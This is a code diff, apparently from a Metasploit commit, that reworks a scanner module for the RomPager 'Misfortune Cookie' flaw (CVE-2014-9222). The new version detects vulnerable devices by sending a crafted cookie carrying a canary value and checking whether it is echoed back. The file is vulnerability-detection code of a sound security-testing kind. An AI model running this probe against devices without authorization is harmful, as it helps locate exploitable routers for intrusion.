@@ -27,38 +27,116 @@ def initialize(info = {})
27
27
] ,
28
28
'References' => [
29
29
[ 'CVE' , '2014-9222' ] ,
30
- [ 'URL' , 'http://mis.fortunecook.ie' ]
30
+ [ 'URL' , 'http://mis.fortunecook.ie' ] ,
31
+ [ 'URL' , 'http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf' ] , # list of likely vulnerable devices
32
+ [ 'URL' , 'http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf' ] # 31C3 presentation with POC
31
33
] ,
32
34
'DisclosureDate' => 'Dec 17 2014' ,
33
35
'License' => MSF_LICENSE
34
36
) )
37
+ end
38
+
39
+ def check_host ( _ip )
40
+ begin
41
+ test_misfortune
42
+ ensure
43
+ disconnect
44
+ end
45
+ end
35
46
36
- register_options ( [
37
- OptString . new ( 'TARGETURI' , [ true , 'Path to fingerprint RomPager from' , '/Allegro' ] )
38
- ] , self . class )
47
+ def run_host ( ip )
48
+ case check_host ( ip )
49
+ when Exploit ::CheckCode ::Appears
50
+ print_good ( "#{ peer } is vulnerable" )
51
+ when Exploit ::CheckCode ::Detected
52
+ print_good ( "#{ peer } uses a vulnerable version" )
53
+ else
54
+ vprint_status ( "#{ peer } is not vulnerable" )
55
+ end
56
+ end
57
+
58
+ def find_canary_uri
59
+ vprint_status ( "#{ peer } locating suitable canary URI" )
60
+ 0 . upto ( 4 ) do
61
+ canary = '/' + Rex ::Text . rand_text_alpha ( 16 )
62
+ res = send_request_cgi ( 'uri' => normalize_uri ( canary ) , 'method' => 'GET' )
63
+ # in most cases, the canary URI will not exist and will return a 404, but if everything under
64
+ # TARGETURI is protected by auth, that may be fine too
65
+ return canary if res . code == 401 || res . code == 404
66
+ end
67
+ nil
68
+ end
69
+
70
+ def requires_auth?
71
+ res = send_request_cgi (
72
+ 'uri' => normalize_uri ( target_uri . path . to_s ) ,
73
+ 'method' => 'GET'
74
+ )
75
+ return false unless res
76
+
77
+ http_fingerprint ( response : res )
78
+ if res . code == 401
79
+ vprint_status ( "#{ peer } requires authentication for #{ target_uri . path } " )
80
+ true
81
+ else
82
+ vprint_status ( "#{ peer } does not require authentication for #{ target_uri . path } -- code #{ res . code } " )
83
+ false
84
+ end
39
85
end
40
86
41
- def check_host ( ip )
42
- res = send_request_cgi ( 'uri' => normalize_uri ( target_uri . path . to_s ) , 'method' => 'GET' )
87
+ def test_misfortune
88
+ return Exploit ::CheckCode ::Unknown unless requires_auth?
89
+
90
+ # find a usable canary URI (one that 401/404s already)
91
+ unless canary = find_canary_uri
92
+ vprint_error ( "#{ peer } Unable to find a suitable canary URI" )
93
+ return Exploit ::CheckCode ::Unknown
94
+ end
95
+
96
+ # Make a request containing a malicious cookie with the canary value.
97
+ # If that canary shows up in the *body*, they are vulnerable
98
+ res = send_request_cgi (
99
+ 'uri' => normalize_uri ( target_uri . path . to_s ) ,
100
+ 'method' => 'GET' ,
101
+ 'headers' => { 'Cookie' => "C107373883=#{ canary } " }
102
+ )
103
+
104
+ unless res
105
+ vprint_error ( "#{ peer } no response" )
106
+ return Exploit ::CheckCode ::Unknown
107
+ end
108
+
109
+ # fingerprint because this is useful and also necessary if the canary is not
110
+ # in the body
43
111
fp = http_fingerprint ( response : res )
44
- if /RomPager\/ (?<version>[\d \. ]+)$/ =~ fp
112
+
113
+ unless res . body
114
+ vprint_status ( "#{ peer } HTTP code #{ res . code } had no body" )
115
+ return Exploit ::CheckCode ::Unknown
116
+ end
117
+
118
+ if res . body . include? ( canary )
119
+ vprint_good ( "#{ peer } HTTP code #{ res . code } response contained canary URI #{ canary } " )
120
+ report_vuln (
121
+ host : rhost ,
122
+ port : rport ,
123
+ name : name ,
124
+ refs : references
125
+ )
126
+ return Exploit ::CheckCode ::Appears
127
+ end
128
+
129
+ vprint_status ( "#{ peer } HTTP code #{ res . code } response did not contain canary URI #{ canary } " )
130
+ if /RomPager\/ (?<version>[\d \. ]+)/ =~ fp
131
+ vprint_status ( "#{ peer } is RomPager #{ version } " )
45
132
if Gem ::Version . new ( version ) < Gem ::Version . new ( '4.34' )
46
- report_vuln (
47
- host : ip ,
48
- port : rport ,
49
- name : name ,
50
- refs : references
51
- )
52
- return Exploit ::CheckCode ::Appears
53
- else
54
133
return Exploit ::CheckCode ::Detected
55
134
end
56
- else
57
- return Exploit ::CheckCode ::Safe
58
135
end
59
- end
60
136
61
- def run_host ( ip )
62
- print_good ( "#{ peer } appears to be vulnerable" ) if check_host ( ip ) == Exploit ::CheckCode ::Appears
137
+ # TODO: ensure that the canary page doesn't exist in the first place
138
+ # (returns a 404), and then ensure that the malcious request with the
139
+ # carary in the cookie then returns a 404.
140
+ Exploit ::CheckCode ::Safe
63
141
end
64
142
end
0 commit comments